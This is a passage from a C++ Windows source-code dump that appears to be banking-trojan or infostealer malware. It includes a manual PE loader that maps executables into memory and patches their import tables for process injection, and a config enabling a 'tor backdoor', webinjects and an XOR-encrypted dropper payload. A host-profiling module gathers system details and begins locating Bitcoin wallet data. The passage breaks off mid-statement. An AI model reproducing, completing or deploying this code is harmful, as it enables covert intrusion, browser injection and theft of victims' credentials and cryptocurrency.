dll; 127 | DWORD pid; 128 | 129 | pe::PPE_GEOMETRY pe_geometry; 130 | 131 | bool is_ok; 132 | public: 133 | inject_instance(__in const DWORD pid, __in const LPVOID dll, 134 | __in const pe::PPE_GEOMETRY geometry) : 135 | dll(dll), 136 | pid(pid), 137 | is_ok(false), 138 | pe_geometry(NULL) 139 | { 140 | this->pe_geometry = (pe::PPE_GEOMETRY)mem::malloc(sizeof(pe::PE_GEOMETRY)); 141 | mem::copy(this->pe_geometry, geometry, sizeof(pe::PE_GEOMETRY)); 142 | } 143 | ~inject_instance(VOID) 144 | { 145 | 146 | } 147 | }; 148 | } -------------------------------------------------------------------------------- /inject/loader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "loader.h" 4 | #include "../api.h" 5 | #include "../common/mem.h" 6 | 7 | using namespace loader; 8 | 9 | bool loader::check_pe_headers(LPVOID raw_pe, UINT raw_pe_size) 10 | { 11 | if (raw_pe == NULL || raw_pe_size == 0) return false; 12 | 13 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)raw_pe; 14 | if (dos_header->e_magic != 'ZM') return false; 15 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)raw_pe + dos_header->e_lfanew); 16 | if (cIsBadReadPtr((const void *)nt_headers, sizeof(IMAGE_NT_HEADERS)) != false || nt_headers->Signature != 'EP') return false; 17 | 18 | return true; 19 | } 20 | 21 | LPTHREAD_START_ROUTINE loader::load_raw_into_virtual(LPVOID raw, UINT raw_size) 22 | { 23 | if (raw == NULL || check_pe_headers(raw, raw_size) == false) return NULL; 24 | 25 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)raw; 26 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)raw + dos_header->e_lfanew); 27 | 28 | cVirtualFree((LPVOID)nt_headers->OptionalHeader.ImageBase, nt_headers->OptionalHeader.SizeOfImage, MEM_RELEASE); 29 | LPVOID virtual_base = (LPVOID)cVirtualAlloc((LPVOID)nt_headers->OptionalHeader.ImageBase, 30 | nt_headers->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 31 | if ((DWORD_PTR)virtual_base != nt_headers->OptionalHeader.ImageBase) { 32 | cVirtualFree(virtual_base, nt_headers->OptionalHeader.SizeOfImage, MEM_RELEASE); 33 | return NULL; 34 | } 35 | 36 | // Copy 37 | mem::copy(virtual_base, raw, nt_headers->OptionalHeader.SizeOfHeaders); 38 | PIMAGE_SECTION_HEADER current_section = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(nt_headers); 39 | for (UINT i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) { 40 | if (current_section->SizeOfRawData == 0 || current_section->PointerToRawData == 0) { 41 | continue; 42 | } 43 | 44 | mem::copy((LPVOID)((DWORD_PTR)virtual_base + current_section->VirtualAddress), 45 | (LPCVOID)((DWORD_PTR)raw + current_section->PointerToRawData), 46 | current_section->SizeOfRawData); 47 | } 48 | 49 | resolve_iat(virtual_base); 50 | LPTHREAD_START_ROUTINE oep = (LPTHREAD_START_ROUTINE)((DWORD_PTR)virtual_base + (DWORD_PTR)nt_headers->OptionalHeader.AddressOfEntryPoint); 51 | return oep; 52 | } 53 | 54 | VOID loader::resolve_iat(LPVOID virtual_base) 55 | { 56 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)virtual_base; 57 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)virtual_base + dos_header->e_lfanew); 58 | PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(nt_headers); 59 | 60 | DWORD file_offset = (DWORD)((nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress 61 | - section->VirtualAddress) + section->Misc.PhysicalAddress); 62 | PIMAGE_IMPORT_DESCRIPTOR import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)virtual_base + 63 | (DWORD_PTR)nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 64 | 65 | while (TRUE) { 66 | LPSTR module_name = (LPSTR)((DWORD_PTR)import_descriptor->Name + (DWORD_PTR)virtual_base); 67 | HMODULE module = cLoadLibraryA(module_name); 68 | if (module == NULL) { 69 | import_descriptor++; 70 | if (import_descriptor->OriginalFirstThunk == 0) break; 71 | 72 | continue; 73 | } 74 | 75 | PIMAGE_THUNK_DATA32 thunk_data = (PIMAGE_THUNK_DATA32)((DWORD_PTR)virtual_base + (DWORD_PTR)import_descriptor->FirstThunk); 76 | 77 | // Ordinal 78 | if (thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { 79 | __asm {nop}; 80 | } else { 81 | //RVA (name) 82 | while (TRUE) { 83 | if (thunk_data->u1.AddressOfData == 0) break; 84 | 85 | PIMAGE_IMPORT_BY_NAME import_by_name = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)thunk_data->u1.AddressOfData + 86 | (DWORD_PTR)virtual_base); 87 | 88 | DWORD function = (DWORD)cGetProcAddress(module, (LPCSTR)import_by_name->Name); 89 | if (function == 0 || function == thunk_data->u1.Function) { 90 | thunk_data++; 91 | continue; 92 | } 93 | 94 | thunk_data->u1.Function = function; 95 | thunk_data++; 96 | } 97 | } 98 | import_descriptor++; 99 | if (import_descriptor->OriginalFirstThunk == 0) break; 100 | } 101 | } -------------------------------------------------------------------------------- /common/fs.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "fs.h" 4 | 5 | #include "api.h" 6 | #include "debug/error.h" 7 | #include "common/mem.h" 8 | #include "common/str.h" 9 | 10 | class file_data { 11 | private: 12 | 13 | public: 14 | 15 | }; 16 | 17 | mem::buffer2 *fs::read_raw_into_buffer_(__in const str_string& file_name) 18 | { 19 | ERROR_CODE status; 20 | 21 | HANDLE handle = INVALID_HANDLE_VALUE; 22 | DWORD size_high, size_low; 23 | PDWORD buffer; 24 | DOUBLE size; 25 | INT junk; 26 | 27 | handle = cCreateFileA( *file_name, 28 | GENERIC_READ, 29 | FILE_SHARE_READ, 30 | NULL, 31 | OPEN_EXISTING, 32 | FILE_ATTRIBUTE_NORMAL, 33 | NULL); 34 | 35 | if (handle == INVALID_HANDLE_VALUE) { 36 | return NULL; 37 | } 38 | 39 | size_low = cGetFileSize(handle, &size_high); 40 | size = (size_low | size_high); 41 | 42 | buffer = (DWORD *)mem::malloc(size_low); 43 | if (buffer == NULL) { 44 | cCloseHandle(handle); 45 | return NULL; 46 | } 47 | 48 | status = cReadFile(handle, buffer, size_low, (LPUINT)&junk, NULL); 49 | if (!status) { 50 | cCloseHandle(handle); 51 | return NULL; 52 | } 53 | 54 | cCloseHandle(handle); 55 | mem::buffer2 *raw_buffer = new mem::buffer2((LPVOID)buffer, (UINT)size_low); 56 | 57 | return raw_buffer; 58 | } 59 | 60 | BOOL fs::read_raw_into_buffer( __in LPCSTR file_name, 61 | __out PUINT file_size, 62 | __out LPVOID *out_file) 63 | { 64 | ERROR_CODE status; 65 | 66 | HANDLE handle = INVALID_HANDLE_VALUE; 67 | DWORD size_high, size_low; 68 | PDWORD buffer; 69 | DOUBLE size; 70 | INT junk; 71 | 72 | handle = cCreateFileA( file_name, 73 | GENERIC_READ, 74 | FILE_SHARE_READ, 75 | NULL, 76 | OPEN_EXISTING, 77 | FILE_ATTRIBUTE_NORMAL, 78 | NULL); 79 | 80 | if (handle == INVALID_HANDLE_VALUE) { 81 | return FALSE; 82 | } 83 | 84 | size_low = cGetFileSize(handle, &size_high); 85 | if (size_low == 0) { 86 | //D("[+] FS: File %s contains %d bytes.\n", file_name, size_low); 87 | *file_size = 0; 88 | *out_file = NULL; 89 | } 90 | size = (size_low | size_high); 91 | 92 | buffer = (DWORD *)mem::malloc(size_low); 93 | if (buffer == NULL) { 94 | cCloseHandle(handle); 95 | return FALSE; 96 | } 97 | 98 | status = cReadFile(handle, buffer, size_low, (LPUINT)&junk, NULL); 99 | if (!status) { 100 | cCloseHandle(handle); 101 | return FALSE; 102 | } 103 | 104 | cCloseHandle(handle); 105 | *file_size = (UINT)size; 106 | *out_file = buffer; 107 | 108 | return TRUE; 109 | } 110 | 111 | bool fs::write_raw_to_disk_( __in str_string& file_name, 112 | __in mem::buffer2& raw_data) 113 | { 114 | 115 | cDeleteFileA(*file_name); 116 | 117 | HANDLE file_handle = cCreateFileA( *file_name, 118 | GENERIC_READ | GENERIC_WRITE, 119 | 0, 120 | NULL, 121 | CREATE_ALWAYS, 122 | FILE_ATTRIBUTE_NORMAL, 123 | NULL); 124 | if (file_handle == INVALID_HANDLE_VALUE) { 125 | return false; 126 | } 127 | 128 | DWORD written = 0; 129 | BOOL write_status = cWriteFile( file_handle, 130 | *raw_data, 131 | raw_data.get_raw_size(), 132 | (LPDWORD)&written, 133 | NULL); 134 | if (write_status == FALSE || written != raw_data.get_raw_size()) { 135 | return false; 136 | } 137 | 138 | cCloseHandle(file_handle); 139 | 140 | file_handle = INVALID_HANDLE_VALUE; 141 | 142 | return true; 143 | } 144 | 145 | BOOL fs::write_raw_to_disk( LPCSTR file_name, 146 | PDWORD buffer, 147 | UINT size) 148 | { 149 | HANDLE file_handle; 150 | INT junk; 151 | 152 | file_handle = cCreateFileA( (LPCSTR)file_name, 153 | GENERIC_WRITE, 154 | FILE_SHARE_READ, 155 | NULL, 156 | CREATE_ALWAYS, 157 | FILE_ATTRIBUTE_NORMAL, 158 | NULL); 159 | if (file_handle == INVALID_HANDLE_VALUE) { 160 | return FALSE; 161 | } 162 | 163 | cWriteFile(file_handle, buffer, size, (LPDWORD)&junk, NULL); 164 | cCloseHandle(file_handle); 165 | 166 | return TRUE; 167 | } 168 | 169 | BOOL fs::append_raw_to_disk(LPCSTR file_name, PDWORD buffer, UINT size) 170 | { 171 | HANDLE file_handle; 172 | INT junk; 173 | 174 | file_handle = cCreateFileA(file_name, 175 | FILE_APPEND_DATA, 176 | FILE_SHARE_READ, 177 | NULL, 178 | OPEN_ALWAYS, 179 | FILE_ATTRIBUTE_NORMAL, 180 | NULL); 181 | if (file_handle == INVALID_HANDLE_VALUE) { 182 | return FALSE; 183 | } 184 | 185 | cWriteFile(file_handle, buffer, size, (LPDWORD)&junk, NULL); 186 | cCloseHandle(file_handle); 187 | 188 | return TRUE; 189 | } -------------------------------------------------------------------------------- /config.h: -------------------------------------------------------------------------------- 1 | // Primary API config 2 | #pragma once 3 | 4 | #include 5 | 6 | #ifdef CONFIG_OK 7 | #error ">>>>>>>>>>>CONFIG_COMPILE64 ALREADY SET" 8 | #endif 9 | #define CONFIG_OK 10 | 11 | #ifdef CONFIG_COMPILE64 12 | #error ">>>>>>>>>>>CONFIG_COMPILE64 ALREADY SET" 13 | #endif 14 | 15 | // Use standard types (types.h) 16 | #define UTILIZE_API_OBJECTS 17 | 18 | // 64-bit compilation 19 | //#define CONFIG_COMPILE64 // 32-bit API if not defined. 20 | #ifdef CONFIG_COMPILE64 21 | #ifndef _WIN64 22 | #error "API: Architecture mismatch. CONFIG_COMPILE64 defined while _WIN64 not defined." 23 | #endif 24 | #else 25 | // 32-bit mode 26 | #ifdef _WIN64 27 | #error "API: Architecture mismatch. _WIN64 defined while CONFIG_COMPLE64 not defined." 28 | #endif 29 | #endif 30 | 31 | // Path configs 32 | #define ROOT_PATH "J:/_api/" 33 | #define CONFIG_PATH "J:/_api/config.h" 34 | 35 | #define API_PATH "api.h" 36 | #define API_API 37 | #define API_REG 38 | 39 | #define COMMON_PATH "common/" 40 | #define COMMON_CRYPT "common/crypt.h" 41 | #define COMMON_FS "common/fs.h" 42 | #define COMMON_ID "common/id.h" 43 | #define COMMON_INLINE "common/inline.h" 44 | #define COMMON_INT "common/int.h" 45 | #define COMMON_MEM "common/mem.h" 46 | #define COMMON_STR "common/str.h" 47 | #define COMMON_OBJECTS "common/types.h" 48 | #ifdef UTILIZE_API_OBJECTS 49 | #include COMMON_OBJECTS 50 | #endif 51 | 52 | #define CORE_PATH 53 | 54 | #define DEBUG_PATH "debug/" 55 | #define DEBUG_MAIN "debug/debug.h" 56 | #define DEBUG_ASSERT "debug/assert.h" 57 | #define DEBUG_ERROR "debug/error.h" 58 | #define DEBUG_STDIN "debug/stdin.h" 59 | 60 | #define EXTERNAL_PATH 61 | #define HTTP_PATH 62 | #define INJECT_PATH 63 | #define NET_PATH 64 | 65 | // Stylistic 66 | #define OUTPUT_PROMPT "[#] " 67 | #define OUTPUT_PRIMARY OUTPUT_PROMPT 68 | #define OUTPUT_SECONDARY " ->" 69 | 70 | // Preprocessor output 71 | #define DISABLE_CODERS_BULLSHIT // Disables my leet m0s thing 72 | #define DISABLE_LIBRARY_INFO // Disables each library's preprocessor info 73 | #define DISABLE_SECONDARY_OUTPUT // Disables module config output 74 | 75 | #ifndef DISABLE_LIBRARY_INFO 76 | #pragma message (OUTPUT_PRIMARY "API Version 1.0") 77 | #ifdef CONFIG_COMPILE64 78 | #pragma message (OUTPUT_PRIMARY "64-bit Compilation.") 79 | #else 80 | #pragma message (OUTPUT_PRIMARY "32-bit Compilation.") 81 | #endif 82 | #pragma message (OUTPUT_PRIMARY "Config:") 83 | #pragma message (OUTPUT_SECONDARY "Root path: " ROOT_PATH) 84 | #pragma message (OUTPUT_SECONDARY "config.h path: " CONFIG_PATH) 85 | #ifdef UTILIZE_API_OBJECTS 86 | #pragma message (OUTPUT_SECONDARY "Using common types") 87 | #endif 88 | #endif 89 | 90 | #ifndef DISABLE_CODERS_BULLSHIT 91 | #pragma message ("written by: .oooo. ") 92 | #pragma message (" d8P'`Y8b ") 93 | #pragma message (" ooo. .oo. .oo. 888 888 .oooo.o ") 94 | #pragma message (" 888 888 888 888 888 `\"Y88b. ") 95 | #pragma message (" 888 888 888 888 888 `\"Y88b. ") 96 | #pragma message (".o. 888 888 888 `88b d88' o. )88b ") 97 | #pragma message ("Y8P o888o o888o o888o `Y8bd8P' 8""888P' ") 98 | #endif 99 | 100 | // Webinjector related configs //////////////////////////////////////////////// 101 | // Disable resolve of PR_OpenTCPSocket (obsolete) 102 | #define DISABLE_PROPENTCPSOCKET 103 | 104 | // Enables the tor backdoor/SOCKS5 105 | #define ENABLE_TOR_BACKDOOR 106 | 107 | #define MODE_LOAD_CONFIG_FROM_DISK // Loads raw config from disk. Debugging only 108 | #ifdef MODE_LOAD_CONFIG_FROM_DISK 109 | #ifndef PROJECT_HTTP_MIRROR 110 | #define RAW_DYNAMIC_CONFIG "J:/_build/webinjector/webinjector/webinjects.txt" 111 | #else 112 | #define RAW_DYNAMIC_CONFIG "J:/_build/httpmirror/httpmirror/httpmirror.txt" 113 | #endif 114 | 115 | #ifndef DISABLE_SECONDARY_OUTPUT 116 | #pragma message (OUTPUT_PRIMARY "WARNING: Reading injector config from disk. Debug only!") 117 | #endif 118 | 119 | #endif 120 | 121 | // Disables tracking IDs (does not build vector array with all IDs) 122 | #undef DISABLE_ID_TRACKING 123 | #define DISABLE_ID_TRACKING 124 | 125 | // Config for crypt library timings 126 | #define CONFIG_CRYPT_TIMEOUT 60 127 | 128 | // Config for XTP timeouts 129 | #define CONFIG_XTP_TIMEOUT 60 130 | 131 | // Use custom allocator in all instances of `new`? 132 | //#define CONFIG_USE_CUSTOM_NEW 133 | 134 | // Dropper encrypts loader as last segment. This is the DWORD xor key used to decrypt 135 | #define USE_LAST_XOR 0xf1af553d 136 | 137 | // Does the program exit on EXIT(0) or sleep forever after giving the error message 138 | #define DO_NOT_EXIT_AFTER_FAILURE -------------------------------------------------------------------------------- /common/fs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifndef DISABLE_LIBRARY_INFO 13 | #ifdef CONFIG_COMPILE64 14 | #pragma message (OUTPUT_PRIMARY "fs: Compiling 64-bit") 15 | #else 16 | #pragma message (OUTPUT_PRIMARY "fs: Compiling 32-bit.") 17 | #endif 18 | #endif 19 | 20 | #include "common/mem.h" 21 | #include "common/str.h" 22 | 23 | namespace fs 24 | { 25 | bool write_raw_to_disk_( __in str_string& file_name, 26 | __in mem::buffer2& raw_data); 27 | 28 | // Returns mem::buffer2 29 | mem::buffer2 *read_raw_into_buffer_(__in const str_string& file_name); 30 | 31 | // Read file into buffer 32 | BOOL read_raw_into_buffer( __in LPCSTR file_name, 33 | __out PUINT file_size, 34 | __out LPVOID *out_file); 35 | 36 | BOOL write_raw_to_disk( LPCSTR file_name, 37 | PDWORD buffer, 38 | UINT size); 39 | 40 | BOOL append_raw_to_disk( LPCSTR file_name, 41 | PDWORD buffer, 42 | UINT size); 43 | 44 | class raw_file { 45 | 46 | private: 47 | LPVOID raw_buffer; 48 | UINT raw_buffer_size; 49 | 50 | Buffer2 RawBuffer; 51 | 52 | bool is_loaded; 53 | 54 | public: 55 | raw_file::raw_file(__in const str_string& location) : 56 | raw_buffer(NULL), raw_buffer_size(0), 57 | RawBuffer(NULL), 58 | is_loaded(false) 59 | { 60 | RawBuffer = fs::read_raw_into_buffer_(location); 61 | 62 | 63 | if (RawBuffer.get_is_null()) { 64 | return; 65 | } 66 | 67 | raw_buffer = **RawBuffer; 68 | raw_buffer_size = RawBuffer->get_raw_size(); 69 | 70 | this->is_loaded = true; 71 | } 72 | 73 | ~raw_file(VOID) 74 | { 75 | 76 | } 77 | 78 | UINT get_size(void) const 79 | { 80 | return this->raw_buffer_size; 81 | } 82 | 83 | // Operators 84 | const mem::buffer2& operator*(void) const 85 | { 86 | return *this->RawBuffer; 87 | } 88 | }; 89 | } 90 | /* 91 | #include 92 | #include 93 | #include 94 | 95 | #define BUFSIZE 1024 96 | #define MD5LEN 16 97 | 98 | DWORD main() 99 | { 100 | DWORD dwStatus = 0; 101 | BOOL bResult = FALSE; 102 | HCRYPTPROV hProv = 0; 103 | HCRYPTHASH hHash = 0; 104 | HANDLE hFile = NULL; 105 | BYTE rgbFile[BUFSIZE]; 106 | DWORD cbRead = 0; 107 | BYTE rgbHash[MD5LEN]; 108 | DWORD cbHash = 0; 109 | CHAR rgbDigits[] = "0123456789abcdef"; 110 | LPCWSTR filename=L"filename.txt"; 111 | // Logic to check usage goes here. 112 | 113 | hFile = CreateFile(filename, 114 | GENERIC_READ, 115 | FILE_SHARE_READ, 116 | NULL, 117 | OPEN_EXISTING, 118 | FILE_FLAG_SEQUENTIAL_SCAN, 119 | NULL); 120 | 121 | if (INVALID_HANDLE_VALUE == hFile) 122 | { 123 | dwStatus = GetLastError(); 124 | printf("Error opening file %s\nError: %d\n", filename, 125 | dwStatus); 126 | return dwStatus; 127 | } 128 | 129 | // Get handle to the crypto provider 130 | if (!CryptAcquireContext(&hProv, 131 | NULL, 132 | NULL, 133 | PROV_RSA_FULL, 134 | CRYPT_VERIFYCONTEXT)) 135 | { 136 | dwStatus = GetLastError(); 137 | printf("CryptAcquireContext failed: %d\n", dwStatus); 138 | CloseHandle(hFile); 139 | return dwStatus; 140 | } 141 | 142 | if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) 143 | { 144 | dwStatus = GetLastError(); 145 | printf("CryptAcquireContext failed: %d\n", dwStatus); 146 | CloseHandle(hFile); 147 | CryptReleaseContext(hProv, 0); 148 | return dwStatus; 149 | } 150 | 151 | while (bResult = ReadFile(hFile, rgbFile, BUFSIZE, 152 | &cbRead, NULL)) 153 | { 154 | if (0 == cbRead) 155 | { 156 | break; 157 | } 158 | 159 | if (!CryptHashData(hHash, rgbFile, cbRead, 0)) 160 | { 161 | dwStatus = GetLastError(); 162 | printf("CryptHashData failed: %d\n", dwStatus); 163 | CryptReleaseContext(hProv, 0); 164 | CryptDestroyHash(hHash); 165 | CloseHandle(hFile); 166 | return dwStatus; 167 | } 168 | } 169 | 170 | if (!bResult) 171 | { 172 | dwStatus = GetLastError(); 173 | printf("ReadFile failed: %d\n", dwStatus); 174 | CryptReleaseContext(hProv, 0); 175 | CryptDestroyHash(hHash); 176 | CloseHandle(hFile); 177 | return dwStatus; 178 | } 179 | 180 | cbHash = MD5LEN; 181 | if (CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0)) 182 | { 183 | printf("MD5 hash of file %s is: ", filename); 184 | for (DWORD i = 0; i < cbHash; i++) 185 | { 186 | printf("%c%c", rgbDigits[rgbHash[i] >> 4], 187 | rgbDigits[rgbHash[i] & 0xf]); 188 | } 189 | printf("\n"); 190 | } 191 | else 192 | { 193 | dwStatus = GetLastError(); 194 | printf("CryptGetHashParam failed: %d\n", dwStatus); 195 | } 196 | 197 | CryptDestroyHash(hHash); 198 | CryptReleaseContext(hProv, 0); 199 | CloseHandle(hFile); 200 | 201 | return dwStatus; 202 | } */ -------------------------------------------------------------------------------- /common/id.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifndef DISABLE_LIBRARY_INFO 16 | #ifdef CONFIG_COMPILE64 17 | #pragma message (OUTPUT_PRIMARY "ID: Loading standard memory module (64)") 18 | #else 19 | #pragma message (OUTPUT_PRIMARY "ID: Loading standard memory module (32)") 20 | #endif 21 | #endif 22 | 23 | #include "common/mem.h" 24 | #include "crypt/crypt.h" 25 | #include "api.h" 26 | 27 | #pragma once 28 | 29 | #define DISABLE_ID_TRACKING 30 | #ifdef DISABLE_ID_TRACKING 31 | #ifndef DISABLE_SECONDARY_OUTPUT 32 | #pragma message (OUTPUT_PRIMARY "ID: Disabling ID Tracking") 33 | #endif 34 | #endif 35 | 36 | #define NUMBER_OF_ELEMENTS 4 37 | 38 | namespace id_info { 39 | class id; 40 | 41 | #ifndef DISABLE_ID_TRACKING 42 | static std::vector *id_list = new std::vector(); 43 | #endif 44 | 45 | static const UINT number_of_elements = NUMBER_OF_ELEMENTS; 46 | 47 | // Sync 48 | #ifndef DISABLE_ID_TRACKING 49 | static PCRITICAL_SECTION id_sync = NULL; 50 | #endif 51 | 52 | 53 | class id { 54 | private: 55 | // Random buffer 56 | Ptr RandBuffer; 57 | 58 | Ptr> IdElements; 59 | 60 | Ptr RawString; 61 | 62 | DWORD dword_value; 63 | 64 | bool is_ok; 65 | public: 66 | id(VOID) : 67 | IdElements(new std::vector), 68 | RawString(NULL), 69 | RandBuffer(new crypt::rand_buffer(id_info::number_of_elements)), 70 | dword_value(0), is_ok(true) 71 | { 72 | #ifndef DISABLE_ID_TRACKING 73 | if (id_sync == NULL) { 74 | id_sync = (PCRITICAL_SECTION)mem::malloc(sizeof(CRITICAL_SECTION)); 75 | cInitializeCriticalSection(id_sync); 76 | } 77 | #endif 78 | 79 | // Generate key 80 | std::vector *current_array= RandBuffer->get_array(); 81 | for (std::vector::iterator i = current_array->begin(); 82 | i != current_array->end(); i++) { 83 | 84 | IdElements->push_back(*i); 85 | } 86 | 87 | // Add self to id_list 88 | #ifndef DISABLE_ID_TRACKING 89 | cEnterCriticalSection(id_sync); 90 | id_list->push_back(this); 91 | cLeaveCriticalSection(id_sync); 92 | #endif 93 | 94 | // Generate DWORD id 95 | DWORD tmp = 0; 96 | UINT c = 0; 97 | for (std::vector::iterator i = this->IdElements->begin(); 98 | i != IdElements->end(); i++, c++) 99 | { 100 | tmp = *i | tmp; 101 | 102 | if (c == (sizeof(DWORD) - 1)) { 103 | break; 104 | } 105 | 106 | tmp = tmp << 8; 107 | } 108 | 109 | this->dword_value = tmp; 110 | } 111 | 112 | id(std::vector& input) : 113 | IdElements(new std::vector()), 114 | RawString(NULL), RandBuffer(NULL), 115 | dword_value(0), is_ok(true) 116 | { 117 | for (std::vector::iterator i = input.begin(); 118 | i != input.end(); i++) { 119 | 120 | IdElements->push_back(*i); 121 | } 122 | 123 | // Generate DWORD id 124 | DWORD tmp = 0; 125 | UINT c = 0; 126 | for (std::vector::iterator i = this->IdElements->begin(); 127 | i != IdElements->end(); i++, c++) 128 | { 129 | tmp = *i | tmp; 130 | 131 | if (c == (sizeof(DWORD) - 1)) { 132 | break; 133 | } 134 | 135 | tmp = tmp << 8; 136 | } 137 | 138 | this->dword_value = tmp; 139 | 140 | #ifndef DISABLE_ID_TRACKING 141 | cEnterCriticalSection(id_sync); 142 | id_list->push_back(this); 143 | cLeaveCriticalSection(id_sync); 144 | #endif 145 | } 146 | 147 | id(__in const DWORD raw_id) : 148 | IdElements(new std::vector), RawString(NULL), RandBuffer(NULL), 149 | dword_value(raw_id), is_ok(true) 150 | { 151 | for (UINT i = 0; i < sizeof(DWORD); i++) { 152 | IdElements->push_back((BYTE)(((raw_id >> (8 * i)) & 0x000000ff))); 153 | } 154 | } 155 | 156 | // Take a string as input, create ID based on that 157 | id(__in const LPSTR input_string) : 158 | IdElements(NULL), 159 | RawString(NULL), RandBuffer(NULL), 160 | dword_value(0), is_ok(true) 161 | { 162 | this->IdElements = str::string_to_byte_vector(input_string); 163 | if (this->IdElements.get_value() == NULL) { 164 | this->is_ok = false; 165 | } 166 | } 167 | 168 | ~id() 169 | { 170 | 171 | } 172 | 173 | 174 | crypt::rand_buffer *id::get_rand_buffer(VOID) 175 | { 176 | return RandBuffer.get_value(); 177 | } 178 | 179 | BYTE id::get_byte_at_offset(__in const types::OFFSET32 offset) const 180 | { 181 | return this->IdElements->at(offset); 182 | } 183 | 184 | str_string *id::get_string(VOID) 185 | { 186 | if (RawString == NULL) { 187 | RawString = str::byte_vector_to_string(*IdElements); 188 | } 189 | 190 | return RawString.get_value(); 191 | } 192 | 193 | // Special function for only 4 bytes 194 | DWORD id::get_dword(void) const; 195 | 196 | // Operators 197 | /* 198 | bool id::operator==(__in id& other) 199 | { 200 | return (*RandData == *other.get_rand_buffer()); 201 | }*/ 202 | }; 203 | }; -------------------------------------------------------------------------------- /core/info.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "info.h" 5 | 6 | #include "api.h" 7 | #include "common/mem.h" 8 | #include "common/str.h" 9 | 10 | using namespace client_info; 11 | 12 | info::info(void) 13 | { 14 | this->raw_data = new raw_info(); 15 | this->version_info = (OSVERSIONINFOA *)mem::malloc(sizeof(OSVERSIONINFOA)); 16 | this->version_info->dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); 17 | this->system_info = (SYSTEM_INFO *)mem::malloc(sizeof(SYSTEM_INFO)); 18 | } 19 | 20 | info::~info(void) 21 | { 22 | delete this->raw_data; 23 | mem::free_and_null((LPVOID *)&this->version_info); 24 | mem::free_and_null((LPVOID *)&this->system_info); 25 | } 26 | 27 | bool info::gather_data(void) 28 | { 29 | // Hostname 30 | CHAR hostname[MAX_COMPUTERNAME_LENGTH + str::ASCII_CHAR] = {0}; 31 | UINT hostname_size = sizeof(hostname); 32 | BOOL get_status = GetComputerNameA(hostname, (LPDWORD)&hostname_size); 33 | if (get_status == FALSE) { 34 | return false; 35 | } 36 | this->Hostname = new str_string(hostname); 37 | mem::copy(&this->raw_data->hostname, hostname, str::lenA(hostname)); 38 | this->raw_data->hostname_len = str::lenA(hostname); 39 | 40 | // NT Version 41 | /* 42 | BOOL WINAPI GetVersionEx( 43 | _Inout_ LPOSVERSIONINFO lpVersionInfo 44 | ); 45 | */ 46 | get_status = GetVersionExA(this->version_info); 47 | if (get_status == FALSE) { 48 | return false; 49 | } 50 | mem::copy(&this->raw_data->os_info, this->version_info, sizeof(OSVERSIONINFOA)); 51 | 52 | // Get SYSTEM_INFO 53 | GetNativeSystemInfo(this->system_info); 54 | mem::copy(&this->raw_data->sys_info, this->system_info, sizeof(SYSTEM_INFO)); 55 | 56 | // Find files 57 | bool parse_status = this->parse_directories(this->raw_data); 58 | if (parse_status == false) return parse_status; 59 | 60 | return true; 61 | } 62 | 63 | bool info::parse_directories(__inout raw_info *data) 64 | { 65 | CHAR tmp_path[MAX_PATH + str::ASCII_CHAR] = {0}; 66 | HRESULT path_status = cSHGetFolderPathA(0, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, tmp_path); 67 | if (path_status != S_OK) return false; 68 | this->AppData = new str_string(tmp_path); 69 | 70 | if (data->sys_info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) { 71 | mem::zeromem(tmp_path, sizeof(tmp_path)); 72 | this->ProgFiles64 = NULL; 73 | path_status = cSHGetFolderPathA(0, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, tmp_path); 74 | if (path_status != S_OK) return false; 75 | this->ProgFiles86 = new str_string(tmp_path); 76 | 77 | ASSERT(1, "client_info::parse_directories incomplete!"); 78 | } else if (data->sys_info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { 79 | mem::zeromem(tmp_path, sizeof(tmp_path)); 80 | path_status = cSHGetFolderPathA(0, CSIDL_PROGRAM_FILESX86, NULL, SHGFP_TYPE_CURRENT, tmp_path); 81 | if (path_status != S_OK) return false; 82 | this->ProgFiles86 = new str_string(tmp_path); 83 | 84 | mem::zeromem(tmp_path, sizeof(tmp_path)); 85 | path_status = cSHGetFolderPathA(0, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, tmp_path); 86 | if (path_status != S_OK) return false; 87 | this->ProgFiles64 = new str_string("C:\\Program Files"); 88 | 89 | // Bitcoin-qt 90 | str_string *bitcoin_binary_path = *this->ProgFiles86 + pf_test_bitcoin, 91 | *bitcoin_data_path = *this->AppData + 